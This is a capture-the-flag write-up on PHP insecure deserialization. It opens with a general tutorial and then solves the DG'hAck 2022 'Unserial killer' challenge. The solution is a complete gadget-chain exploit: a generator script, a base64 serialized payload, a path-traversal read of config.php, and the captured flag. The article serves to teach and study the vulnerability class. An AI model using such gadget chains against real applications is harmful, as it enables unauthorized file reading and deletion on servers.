Featured image of post Finding PHP Serialization Gadget Chain - DG'hAck Unserial killer

Finding PHP Serialization Gadget Chain - DG'hAck Unserial killer

Write up of the challenge 'Unserial killer' of the DG'hAck 2022 which involves finding a PHP serialization gadget chain inside PHP libraries.

Finding Serialization PHP Gadget chain

TL;DR

In this article, you will find an introduction to vulnerabilities related to insecure serialization and the solution to the ‘Unserial killer’ challenge of the DG’hAck 2022.

More specifically, we will talk about attribute/object injections and gadget chain research in PHP libraries.

Insecure deserialization

In this section, we will make an introduction to insecure deserialization vulnerabilities. If you are already familiar with this kind of vulnerability, you can skip this section.

Serialization

Serialization is the process of translating a data structure or object state into a format that can be stored or transmitted and reconstructed later

Serialization

Image source, PortSwigger - Insecure deserialization.

In PHP, you have two functions to deal with serialization.

  1. serialize - Generates a storable representation of a value.
  2. unserialize - Creates a PHP value from a stored representation.

Attribute injection

Attribute injection is a kind of deserialization vulnerability when an attacker has the possibility to change the value of an instance’s attribute.

To demonstrate this kind of vulnerability, we will use a basic class with only two attributes :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php

class User {

    public string $username;
    public bool $isAdmin;

    public function __construct(string $username)
    {
        $this->username = $username;
        $this->isAdmin = false;
    }

}

$user = new User("toto");
$data = serialize($user);

echo $data;

The instance $user of the class User can be represented as a string using serialization:

1
2
$ php example.php
O:4:"User":2:{s:8:"username";s:4:"toto";s:7:"isAdmin";b:0;}

If an attacker can control the input of the unserialize function, it can, for example, edit the isAdmin instance’s attribute and set it to true. Later on, this may lead to access control issues.

1
2
3
4
5
$user = unserialize(
  'O:4:"User":2:{s:8:"username";s:4:"toto";s:7:"isAdmin";b:1;}'
);

var_dump($user);

By changing the value from 0 to 1, the isAdmin attribute is now set to true:

1
2
3
4
5
6
7
$ php example.php
object(User)#1 (2) {
  ["username"]=>
  string(4) "toto"
  ["isAdmin"]=>
  bool(true)
}

Object injection

Instead of modifying the attributes of the User object. It is possible to unserialize an instance of another object. This can potentially allow code execution, file writing or reading, calling a protected function, …

To do this, we can use PHP gadgets inside the application code or inside the PHP libraries. A gadget is a piece of code that allows an attacker to achieve a particular goal.

In order to execute one or multiple gadgets (PHP code) from a serialization, we can use the power of PHP magic methods. Magic methods are special methods which override PHP’s default’s action when certain actions are performed on an object.

Examples of interesting magic methods:

  • __wakeup() : invoked on unserialize()
  • __destruct() : invoked on garbage collection (no references to the instance)
  • __toString() : invoked when the object is treated as a string
  • __call() : invoked when an undefined method is called
  • __construct() : invoked on each newly-created object

Imagine that your project contains a PHP library that has the following class :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
class FileManager {

  public string $filePath;

  public function __construct(string $filePath)
  {
    $this->filePath = $filePath;
  }

  // ...

  public function __destruct()
  {
    echo "The file " . $this->filePath . " will be deleted." . PHP_EOL;
    unlink($this->filePath);
  }

}

The unlink PHP function deletes the file passed as parameter.

If your application is vulnerable to insecure deserialization, an attacker could delete any file on the system as long as the process has the permission to delete it. Why? Because the __destruct magic method will be automatically called when the instance will be removed by the garbage collector. Indeed, you just need to set the value of the filePath attribute to the file you want to delete.

Here is an example that will delete the file at /tmp/toto :

1
unserialize('O:11:"FileManager":1:{s:8:"filePath";s:9:"/tmp/toto";}');

An instance of FileManager will be created by the unserialize function and then automatically deleted by the garbage collector. Afterwards, the __dectruct function will be called and the file will be deleted :

1
2
$ php example.php
The file /tmp/toto will be deleted.

Generic Gadget chain

So researchers started looking for gadgets in known PHP libraries like Symfony, Laravel, ZendFramework, … This will allow an attacker to exploit a PHP application that has an insecure unserialization vulnerability and a library with known gadgets.

A list of gadgets in known PHP libraries is available on this Github repository : PHPGGC: PHP Generic Gadget Chains

Unserial killer - Writeup

Introduction

Unserial killer is a challenge of the DG’hAck 2022 edition. This challenge belongs to the web category. The difficulty of the challenge is rated as hard and has been solved 19 times out of 945 participants.

Description : A company has just been attacked by hackers who have taken over the configuration of one of their web servers. Audit the web server’s source code and find out how they gained access to it. http://unserialkiller2.chall.malicecyber.com/

Each section of the writeup has a summary at the end. This allows you to check that you understand the solution thread.

Goal of the challenge

The web application provides us with its source code and tells us that the configuration of the application is present in the config.php.

Challenge overview

The source code of the PHP application is very minimalist, it contains only :

  • Some HTML
  • A function that allows us to unserialize data sent by the user
  • Few PHP libraries (in the vendor folder)

We also learn that the flag is in the configuration file, so the goal is to read the config.php file at the web root. Here is the interesting part of the application code:

1
2
3
4
5
6
7
8
if (isset($_REQUEST["data"])) {
  try {
    $decoded = base64_decode($_REQUEST["data"]);
    $data = unserialize($decoded);
  } catch (\Throwable $t) {
    var_dump($t);
  }
}

The base64 function decodes the user input and unserialize the result.

Summary : The goal is to find PHP gadgets in the PHP libraries of the application in order to read the config.php file that contains the flag.

Kick-off gadget

First we need to find our kick-off gadget, this is the first gadget that will allow us to execute PHP code. For this we can look for objects that have one of the 2 magic methods : __wakeup and __destruct.

We find results, some of them are useless to us like the one present in the file ./app/vendor/guzzlehttp/psr7/src/FnStream.php :

1
2
3
4
public function __destruct()
{
	die("Removing FnStream Object");
}

and others are interesting like the one in the file ./app/vendor/guzzlehttp/psr7/src/Stream.php :

1
2
3
4
public function __destruct()
{
    $this->customMetadata->closeContent($this->size);
}

The code above call the function closeContent($this->size) on the attribute customMetadata of the class Stream. However, the function closeContent is never defined by any class.

What can we do now? We can use the magic method __call which is invoked when an undefined method is called. Indeed, we can search for objects that have the __call method.

Summary : The Stream class contains a magic method named __destruct that allows us to execute PHP code and start our chain of gadgets.

Second gadget

The class StreamDecoratorTrait in ./app/vendor/guzzlehttp/psr7/src/StreamDecoratorTrait.php has an interesting definition of the __call magic method.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function __call($method, array $args)
{
    $result = null;
    if (is_object($this->stream) && method_exists($this->stream, "decorate")) { // class FnStream
        if (in_array($method, $this->getAllowedMethods()) !== true) {
            $method = $this->custom_method;
        }
        if (is_array($method) !== true) {
            $method = [$method];
        }

        $args = $args[0];

        foreach ($method as $_method) {
            if (is_callable([$this->stream, $_method])) {
                $arguments = array_shift($args);
                $result = $this->stream->$_method(...$arguments);
            }
        }
    }
    // Always return the wrapped object if the result is a return $this
    return $result === $this->stream ? $this : $result;
}
  • Parameters :
    • $method is equals to the name of the missing method, closeContent.
    • $args is equals to the arguments of the missing method, $this->size (which is controlled by the attacker).
  • Line 4 : The stream attribute must be an object that has a method named decorate.
  • Line 5 : This condition is true because closeContent is not in getAllowedMethods(). So, $method will now be equals to $this->custom_method (which is controlled by the attacker).
  • Line 14 : The foreach loop will iterate over the list of methods and the list of arguments, then call the iterated method with its arguments on the instance in the stream variable.

Notice that StreamDecoratorTrait cannot be directly instantiated because it is a Trait (like Abstract class) and not a Class. For the final exploit, we will use the class CachingStream which inherits from StreamDecoratorTrait.

Summary: We can call any function with arguments on an object that has a method named decorate.

Third gadget

After a quick search, we find a class named FnStream at ./app/vendor/guzzlehttp/psr7/src/FnStream.php which contains a method named decorate.

This class is very interesting because it has a method named getContents that allows us to read a PHP file. Remember, the goal is to read the config.php file.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public function getContents()
{
  $content = "";
  if (isset($this->_fn_getContents) && is_string($this->_fn_getContents)) {
    $file = __DIR__ . $this->_fn_getContents . ".php";
    if ($this->display_content === true) {
      readfile($file);
      echo "Printing interesting file..." . PHP_EOL;
    }
  }
  return $content;
}
  • display_content must be set to true.
  • _fn_getContents must be set to /../../../../config (relative path from the FnStream.php file path).

So the $file variable will be equals to :

1
2
3
$file = "./app/vendor/guzzlehttp/psr7/src" . "/../../../../config" . ".php";
# equivalent of
$file = "./app/config.php";

Summary: To get the flag, we need to call the getContents function on an instance of FnStream with the attributes display_content set to true and _fn_getContents set to /../../../config.

Bypass FnStream protection

Unfortunately for us, the FnStream class has a magic method named __wakeup (invoked on unserialize) that unset all its class attributes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
public function __wakeup()
{
  unset($this->_fn_getMetadata);
  unset($this->_fn_close);
  unset($this->_fn_detach);
  unset($this->_fn_eof);
  unset($this->_fn_isSeekable);
  unset($this->_fn_rewind);
  unset($this->_fn___toString);
  unset($this->_fn_seek);
  unset($this->_fn_isWritable);
  unset($this->_fn_write);
  unset($this->_fn_getContents);
  unset($this->_fn_getSize);
  unset($this->_fn_tell);
  unset($this->_fn_isReadable);
  unset($this->_fn_read);
  echo "Disabling easy peasy attributes" . PHP_EOL;
}

So we can’t directly set display_content to true and _fn_getContents to /../../../../config because it will be unset at unserialization by the __wakeup method. However, the FnStream class has a method that allows us to set attribute.

1
2
3
4
5
6
7
8
public function register(string $name, $callback)
{
  if (in_array($name, self::$forbidden_attributes) === true) {
    throw new \LogicException('FnStream should never register this attribute: ' . $name);
  }
  $this->{$name} = $callback;
  $this->methods[] = [$name, $callback];
}

So, if we call register("display_content", true) on an instance of FnStream, the attribute display_content of the instance will be set to true.

Notice that the _fn_getContents is inside forbidden_attributes, so we need to call the allow_attribute function first to remove it from the forbidden attributes :

1
2
3
4
5
6
7
public function allow_attribute(string $name)
{
  if (in_array($name, self::$forbidden_attributes, true) === true) {
    $offset = array_search($name, self::$forbidden_attributes, true);
    unset(self::$forbidden_attributes[$offset]);
  }
}

Summary: To bypass the magic method named __wakeup that removes all the attributes of the FnStream class, we can use the register function to redefine them after the unserialization process.

Pack everything

To be able to test and debug my exploit more easily, I moved all the interesting classes, functions and attributes into a single file. Here is the result:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
<?php

namespace GuzzleHttp\Psr7;

class FnStream {

    private static $forbidden_attributes = [
        "_fn___toString",
        "_fn_close",
        "_fn_detach",
        "_fn_getSize",
        "_fn_tell",
        "_fn_eof",
        "_fn_isSeekable",
        "_fn_rewind",
        "_fn_seek",
        "_fn_getContents",
        "_fn_isWritable",
        "_fn_write",
        "_fn_isReadable",
        "_fn_read",
        "_fn_getMetadata"
    ];

    public function register(string $name, $callback)
    {
        if (in_array($name, self::$forbidden_attributes) === true) {
            throw new \LogicException('FnStream should never register this attribute: ' . $name);
        }
        $this->{$name} = $callback;
        $this->methods[] = [$name, $callback];
    }

    public function allow_attribute(string $name)
    {
        if (in_array($name, self::$forbidden_attributes, true) === true) {
            $offset = array_search($name, self::$forbidden_attributes, true);
            unset(self::$forbidden_attributes[$offset]);
        }
    }

    public function __wakeup()
    {
        unset($this->_fn_getMetadata);
        unset($this->_fn_close);
        unset($this->_fn_detach);
        unset($this->_fn_eof);
        unset($this->_fn_isSeekable);
        unset($this->_fn_rewind);
        unset($this->_fn___toString);
        unset($this->_fn_seek);
        unset($this->_fn_isWritable);
        unset($this->_fn_write);
        unset($this->_fn_getContents);
        unset($this->_fn_getSize);
        unset($this->_fn_tell);
        unset($this->_fn_isReadable);
        unset($this->_fn_read);
        echo "Disabling easy peasy attributes" . PHP_EOL;
    }

    public function getContents()
    {
        $content = "";
        if (isset($this->_fn_getContents) && is_string($this->_fn_getContents)) {
            $file = __DIR__ . $this->_fn_getContents . ".php";
            if ($this->display_content === true) {
                readfile($file);
                echo "Printing interesting file..." . PHP_EOL;
            }
        }
        return $content;
    }

    public static function decorate() {}
}

use ReflectionMethod;

trait StreamDecoratorTrait {
    public function __call($method, array $args)
    {
        $result = null;
        if (is_object($this->stream) && method_exists($this->stream, "decorate")) {
            if (in_array($method, $this->getAllowedMethods()) !== true) {
                $method = $this->custom_method;
            }
            if (is_array($method) !== true) {
                $method = [$method];
            }

            $args = $args[0];

            foreach ($method as $_method) {
                if (is_callable([$this->stream, $_method])) {
                    $arguments = array_shift($args);
                    $result = $this->stream->$_method(...$arguments);
                }
            }
        }
        // Always return the wrapped object if the result is a return $this
        return $result === $this->stream ? $this : $result;
    }

    public function getAllowedMethods($filter = array('close'))
    {
        $classReflection = new \ReflectionClass("GuzzleHttp\Psr7\FnStream");
        $methodsReflections = $classReflection->getMethods();
        $methodNames = array_map(function (ReflectionMethod $methodReflection) {
            return $methodReflection->getName();
        }, array_values($methodsReflections));
        $methodNames = array_diff($methodNames, $filter);
        return $methodNames;
    }
}

class CachingStream
{
    use StreamDecoratorTrait;

    public function __construct()
    {
        $this->stream = new FnStream();
        $this->custom_method = array("register", "allow_attribute", "register", "getContents");
    }
}

class Stream {
    public $size;
    public $customMetadata;

    public function __construct()
    {
        $this->size = array(
            array("display_content", true),
            array("_fn_getContents"),
            array("_fn_getContents", "/../../../../config"),
            array()
        );
        $this->customMetadata = new CachingStream();
    }

    public function __destruct()
    {
        $this->customMetadata->closeContent($this->size);
    }
}

$GENERATE = true;

if ($GENERATE) {
    $stream = new Stream();
    $data = serialize($stream);

    echo $data . PHP_EOL;
    echo base64_encode($data) . PHP_EOL;
} else {
    $data = base64_decode("Tzo2OiJTdHJlYW0iOjI6e3M6NDoic2l6ZSI7YTo0OntpOjA7YToyOntpOjA7czoxNToiZGlzcGxheV9jb250ZW50IjtpOjE7YjoxO31pOjE7YToxOntpOjA7czoxNToiX2ZuX2dldENvbnRlbnRzIjt9aToyO2E6Mjp7aTowO3M6MTU6Il9mbl9nZXRDb250ZW50cyI7aToxO3M6MTk6Ii8uLi8uLi8uLi8uLi9jb25maWciO31pOjM7YTowOnt9fXM6MTQ6ImN1c3RvbU1ldGFkYXRhIjtPOjEzOiJDYWNoaW5nU3RyZWFtIjoyOntzOjY6InN0cmVhbSI7Tzo4OiJGblN0cmVhbSI6Mjp7czoxNToiX2ZuX2dldENvbnRlbnRzIjtzOjE5OiIvLi4vLi4vLi4vLi4vY29uZmlnIjtzOjE1OiJkaXNwbGF5X2NvbnRlbnQiO2I6MTt9czoxMzoiY3VzdG9tX21ldGhvZCI7YTo0OntpOjA7czo4OiJyZWdpc3RlciI7aToxO3M6MTU6ImFsbG93X2F0dHJpYnV0ZSI7aToyO3M6ODoicmVnaXN0ZXIiO2k6MztzOjExOiJnZXRDb250ZW50cyI7fX19");
    unserialize($data);
}

We now can try our exploit by visiting the URL : http://unserialkiller2.chall.malicecyber.com/?data=<base64_payload>

And get the flag :

1
2
3
4
<?php
$FLAG = "DGHACK{D_Ont_M3sS_W1th_PhP_0bj3Ct5}";
Printing interesting file...
Removing FnStream Object

This challenge was really interesting! A good note taking was necessary not to get lost on the way, then with a little time we manage to solve the challenge.

Built with Hugo
Theme Stack designed by Jimmy